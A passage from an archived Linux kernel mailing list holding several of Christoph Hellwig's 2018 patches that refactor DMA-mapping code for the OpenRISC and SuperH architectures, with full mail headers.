- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- */
-
-#ifndef __ASM_OPENRISC_DMA_MAPPING_H
-#define __ASM_OPENRISC_DMA_MAPPING_H
-
-/*
- * See Documentation/DMA-API-HOWTO.txt and
- * Documentation/DMA-API.txt for documentation.
- */
-
-#include <linux/dma-debug.h>
-#include <linux/dma-mapping.h>
-
-extern const struct dma_map_ops or1k_dma_map_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &or1k_dma_map_ops;
-}
-
-#endif	/* __ASM_OPENRISC_DMA_MAPPING_H */
diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index ec7fd45704d2..cce99405edf4 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -19,9 +19,7 @@
  * the only thing implemented properly.  The rest need looking into...
  */
 
-#include <linux/dma-mapping.h>
-#include <linux/dma-debug.h>
-#include <linux/export.h>
+#include <linux/dma-noncoherent.h>
 
 #include <asm/cpuinfo.h>
 #include <asm/spr_defs.h>
@@ -80,10 +78,9 @@ page_clear_nocache(pte_t *pte, unsigned long addr,
  * is being ignored for now; uncached but write-combined memory is a
  * missing feature of the OR1K.
  */
-static void *
-or1k_dma_alloc(struct device *dev, size_t size,
-	       dma_addr_t *dma_handle, gfp_t gfp,
-	       unsigned long attrs)
+void *
+arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	unsigned long va;
 	void *page;
@@ -115,9 +112,9 @@ or1k_dma_alloc(struct device *dev, size_t size,
 	return (void *)va;
 }
 
-static void
-or1k_dma_free(struct device *dev, size_t size, void *vaddr,
-	      dma_addr_t dma_handle, unsigned long attrs)
+void
+arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	unsigned long va = (unsigned long)vaddr;
 	struct mm_walk walk = {
@@ -133,18 +130,11 @@ or1k_dma_free(struct device *dev, size_t size, void *vaddr,
 	free_pages_exact(vaddr, size);
 }
 
-static dma_addr_t
-or1k_map_page(struct device *dev, struct page *page,
-	      unsigned long offset, size_t size,
-	      enum dma_data_direction dir,
-	      unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t addr, size_t size,
+		enum dma_data_direction dir)
 {
-	unsigned long cl;
-	dma_addr_t addr = page_to_phys(page) + offset;
 	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return addr;
+	unsigned long cl;
 
 	switch (dir) {
 	case DMA_TO_DEVICE:
@@ -167,83 +157,4 @@ or1k_map_page(struct device *dev, struct page *page,
 		 */
 		break;
 	}
-
-	return addr;
 }
-
-static void
-or1k_unmap_page(struct device *dev, dma_addr_t dma_handle,
-		size_t size, enum dma_data_direction dir,
-		unsigned long attrs)
-{
-	/* Nothing special to do here... */
-}
-
-static int
-or1k_map_sg(struct device *dev, struct scatterlist *sg,
-	    int nents, enum dma_data_direction dir,
-	    unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		s->dma_address = or1k_map_page(dev, sg_page(s), s->offset,
-					       s->length, dir, 0);
-	}
-
-	return nents;
-}
-
-static void
-or1k_unmap_sg(struct device *dev, struct scatterlist *sg,
-	      int nents, enum dma_data_direction dir,
-	      unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		or1k_unmap_page(dev, sg_dma_address(s), sg_dma_len(s), dir, 0);
-	}
-}
-
-static void
-or1k_sync_single_for_cpu(struct device *dev,
-			 dma_addr_t dma_handle, size_t size,
-			 enum dma_data_direction dir)
-{
-	unsigned long cl;
-	dma_addr_t addr = dma_handle;
-	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
-
-	/* Invalidate the dcache for the requested range */
-	for (cl = addr; cl < addr + size; cl += cpuinfo->dcache_block_size)
-		mtspr(SPR_DCBIR, cl);
-}
-
-static void
-or1k_sync_single_for_device(struct device *dev,
-			    dma_addr_t dma_handle, size_t size,
-			    enum dma_data_direction dir)
-{
-	unsigned long cl;
-	dma_addr_t addr = dma_handle;
-	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
-
-	/* Flush the dcache for the requested range */
-	for (cl = addr; cl < addr + size; cl += cpuinfo->dcache_block_size)
-		mtspr(SPR_DCBFR, cl);
-}
-
-const struct dma_map_ops or1k_dma_map_ops = {
-	.alloc = or1k_dma_alloc,
-	.free = or1k_dma_free,
-	.map_page = or1k_map_page,
-	.unmap_page = or1k_unmap_page,
-	.map_sg = or1k_map_sg,
-	.unmap_sg = or1k_unmap_sg,
-	.sync_single_for_cpu = or1k_sync_single_for_cpu,
-	.sync_single_for_device = or1k_sync_single_for_device,
-};
-EXPORT_SYMBOL(or1k_dma_map_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 13/20] sh: simplify get_arch_dma_ops
Date: Fri, 11 May 2018 09:59:38 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <20180511075945.16548-14-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025608 4671 195.159.176.226 (11 May 2018 08:00:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 08:00:08 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 10:00:03 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2yA-00016c-KK
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 10:00:03 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 5313DCAA;
	Fri, 11 May 2018 08:02:13 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 4D194CAA
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:02:11 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id D637EE7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:02:10 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=QFea48ZvlA06Tepz098VbrGCogp//lKYPIEzbhGFTS0=;
	b=SicTFGSdBtCOCAOqzn3or6hz7
	is68TwF4hmaqzlRlG3ZuF032Hs+qVuZ+bO2T/CaQTIMK8VJOqU8+p1NErWFbp/U1XryN5LHeV1kjd
	Be2FwSZDg4oUWZbMR0pHpsxL+Dibd50mAH+mK1mHrBAt/rP0Ac2IkD0jHa/ct23OkB/Exxv620G+L
	pwfkM6MJoUC+iBvaOKLcOEiM55sg8wRhTUIf2B9yzaA8upUgInZg6tMV9T8hmWwY4llXn2dQxDCqJ
	aN3lBuDBWeLRCaT0fI3nsn6vR1+zsNUky76lfhCs/l6sBK4M6zfyac6cfW0DkGnNNrb8EZ9wOfUbY
	MZj2yyVrA==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2zk-0008NP-68; Fri, 11 May 2018 08:01:43 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24180 gmane.linux.kernel.cross-arch:44024 gmane.linux.ports.parisc:28607 gmane.linux.ports.sh.devel:57013 gmane.linux.ports.hexagon:1710 gmane.linux.kernel:2764215 gmane.linux.ports.alpha:5035 gmane.linux.ports.sparc:27862 gmane.linux.kernel.arc:3876 gmane.linux.ports.arm.kernel:649164
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24180>

Remove the indirection through the dma_ops variable, and just return
nommu_dma_ops directly from get_arch_dma_ops.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/sh/include/asm/dma-mapping.h |  5 ++---
 arch/sh/kernel/dma-nommu.c        |  8 +-------
 arch/sh/mm/consistent.c           |  3 ---
 arch/sh/mm/init.c                 | 10 ----------
 4 files changed, 3 insertions(+), 23 deletions(-)

diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
index 41167931e5d9..149e71f95be7 100644
--- a/arch/sh/include/asm/dma-mapping.h
+++ b/arch/sh/include/asm/dma-mapping.h
@@ -2,12 +2,11 @@
 #ifndef __ASM_SH_DMA_MAPPING_H
 #define __ASM_SH_DMA_MAPPING_H
 
-extern const struct dma_map_ops *dma_ops;
-extern void no_iommu_init(void);
+extern const struct dma_map_ops nommu_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
-	return dma_ops;
+	return &nommu_dma_ops;
 }
 
 extern void *dma_generic_alloc_coherent(struct device *dev, size_t size,
diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
index 3e3a32fc676e..79a9edafa5b0 100644
--- a/arch/sh/kernel/dma-nommu.c
+++ b/arch/sh/kernel/dma-nommu.c
@@ -79,10 +79,4 @@ const struct dma_map_ops nommu_dma_ops = {
 	.sync_sg_for_device	= nommu_sync_sg_for_device,
 #endif
 };
-
-void __init no_iommu_init(void)
-{
-	if (dma_ops)
-		return;
-	dma_ops = &nommu_dma_ops;
-}
+EXPORT_SYMBOL(nommu_dma_ops);
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index 35ea3099a3b6..221832eec33b 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -20,9 +20,6 @@
 #include <asm/cacheflush.h>
 #include <asm/addrspace.h>
 
-const struct dma_map_ops *dma_ops;
-EXPORT_SYMBOL(dma_ops);
-
 void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 				 dma_addr_t *dma_handle, gfp_t gfp,
 				 unsigned long attrs)
diff --git a/arch/sh/mm/init.c b/arch/sh/mm/init.c
index ce0bbaa7e404..32e09f03e6bf 100644
--- a/arch/sh/mm/init.c
+++ b/arch/sh/mm/init.c
@@ -395,22 +395,12 @@ void __init paging_init(void)
 	free_area_init_nodes(max_zone_pfns);
 }
 
-/*
- * Early initialization for any I/O MMUs we might have.
- */
-static void __init iommu_init(void)
-{
-	no_iommu_init();
-}
-
 unsigned int mem_init_done = 0;
 
 void __init mem_init(void)
 {
 	pg_data_t *pgdat;
 
-	iommu_init();
-
 	high_memory = NULL;
 	for_each_online_pgdat(pgdat)
 		high_memory = max_t(void *, high_memory,
-- 
2.17.0


From - Thu Nov 08 21:41:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 14/20] sh: introduce a sh_cacheop_vaddr helper
Date: Fri, 11 May 2018 09:59:39 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <20180511075945.16548-15-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025621 5549 195.159.176.226 (11 May 2018 08:00:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 08:00:21 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 10:00:15 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2yM-0001JC-1X
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 10:00:14 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 9B482CD4;
	Fri, 11 May 2018 08:02:16 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id A3D97C77
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:02:15 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 161A2E7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:02:15 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=Q0YDHFzRc/in1gewrVWNC6SvTxnMKgKZlN1G4TDp84Q=;
	b=X1EPV/9eX28baw9yyPORaFtU6
	r7Lt94HKSSOO+UyKB1MzFvXQK7tixVUPYTTwAdo9SQ5+zS0Z4nmiGY1DBqv3J1XYC92BVN8EoaU3/
	6jrVA/D8KGf+xMlUEpr+0XWTaLn32fLsL25Vvrt3N1aaaaOyJOLMP5iFkgYsXpjVlIhk7oRdZe6pc
	ICF8mHT/C9JyqpdnT2ZlPNUlryfCUcr6jAOIbh34Hefs5R9o7o6BvfisUUsC3vu718EyLSSXJlJFG
	3pvk5ycTLJgQoF/pg21bPB6y1WMfo4IMGq5lBbEv8wO8VKcu1xHofR1TJ8ebsl5TjcK+Yi7+pwTCL
	WqO9ratLQ==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2zq-0008RB-Lo; Fri, 11 May 2018 08:01:50 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24181 gmane.linux.kernel.cross-arch:44025 gmane.linux.ports.parisc:28608 gmane.linux.ports.sh.devel:57014 gmane.linux.ports.hexagon:1711 gmane.linux.kernel:2764216 gmane.linux.ports.alpha:5036 gmane.linux.ports.sparc:27863 gmane.linux.kernel.arc:3877 gmane.linux.ports.arm.kernel:649165
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24181>

And use it in the maple bus code to avoid a dma API dependency.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/sh/include/asm/cacheflush.h | 7 +++++++
 arch/sh/mm/consistent.c          | 5 +----
 drivers/sh/maple/maple.c         | 7 ++++---
 3 files changed, 12 insertions(+), 7 deletions(-)

diff --git a/arch/sh/include/asm/cacheflush.h b/arch/sh/include/asm/cacheflush.h
index d103ab5a4e4b..b932e42ef028 100644
--- a/arch/sh/include/asm/cacheflush.h
+++ b/arch/sh/include/asm/cacheflush.h
@@ -101,5 +101,12 @@ void kunmap_coherent(void *kvaddr);
 
 void cpu_cache_init(void);
 
+static inline void *sh_cacheop_vaddr(void *vaddr)
+{
+	if (__in_29bit_mode())
+		vaddr = (void *)CAC_ADDR((unsigned long)vaddr);
+	return vaddr;
+}
+
 #endif /* __KERNEL__ */
 #endif /* __ASM_SH_CACHEFLUSH_H */
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index 221832eec33b..f18483494c46 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -69,10 +69,7 @@ void dma_generic_free_coherent(struct device *dev, size_t size,
 void sh_sync_dma_for_device(void *vaddr, size_t size,
 		    enum dma_data_direction direction)
 {
-	void *addr;
-
-	addr = __in_29bit_mode() ?
-	       (void *)CAC_ADDR((unsigned long)vaddr) : vaddr;
+	void *addr = sh_cacheop_vaddr(vaddr);
 
 	switch (direction) {
 	case DMA_FROM_DEVICE:		/* invalidate only */
diff --git a/drivers/sh/maple/maple.c b/drivers/sh/maple/maple.c
index 7525039d812c..c9c354bd713a 100644
--- a/drivers/sh/maple/maple.c
+++ b/drivers/sh/maple/maple.c
@@ -300,8 +300,8 @@ static void maple_send(void)
 	mutex_unlock(&maple_wlist_lock);
 	if (maple_packets > 0) {
 		for (i = 0; i < (1 << MAPLE_DMA_PAGES); i++)
-			sh_sync_dma_for_device(maple_sendbuf + i * PAGE_SIZE,
-				       PAGE_SIZE, DMA_BIDIRECTIONAL);
+			__flush_purge_region(maple_sendbuf + i * PAGE_SIZE,
+					PAGE_SIZE);
 	}
 
 finish:
@@ -642,7 +642,8 @@ static void maple_dma_handler(struct work_struct *work)
 		list_for_each_entry_safe(mq, nmq, &maple_sentq, list) {
 			mdev = mq->dev;
 			recvbuf = mq->recvbuf->buf;
-			sh_sync_dma_for_device(recvbuf, 0x400, DMA_FROM_DEVICE);
+			__flush_invalidate_region(sh_cacheop_vaddr(recvbuf),
+					0x400);
 			code = recvbuf[0];
 			kfree(mq->sendbuf);
 			list_del_init(&mq->list);
-- 
2.17.0


From - Thu Nov 08 21:41:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 15/20] sh: use dma_direct_ops for the CONFIG_DMA_COHERENT case
Date: Fri, 11 May 2018 09:59:40 +0200
Lines: 94
Approved: news@gmane.org
Message-ID: <20180511075945.16548-16-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025633 6288 195.159.176.226 (11 May 2018 08:00:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 08:00:33 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
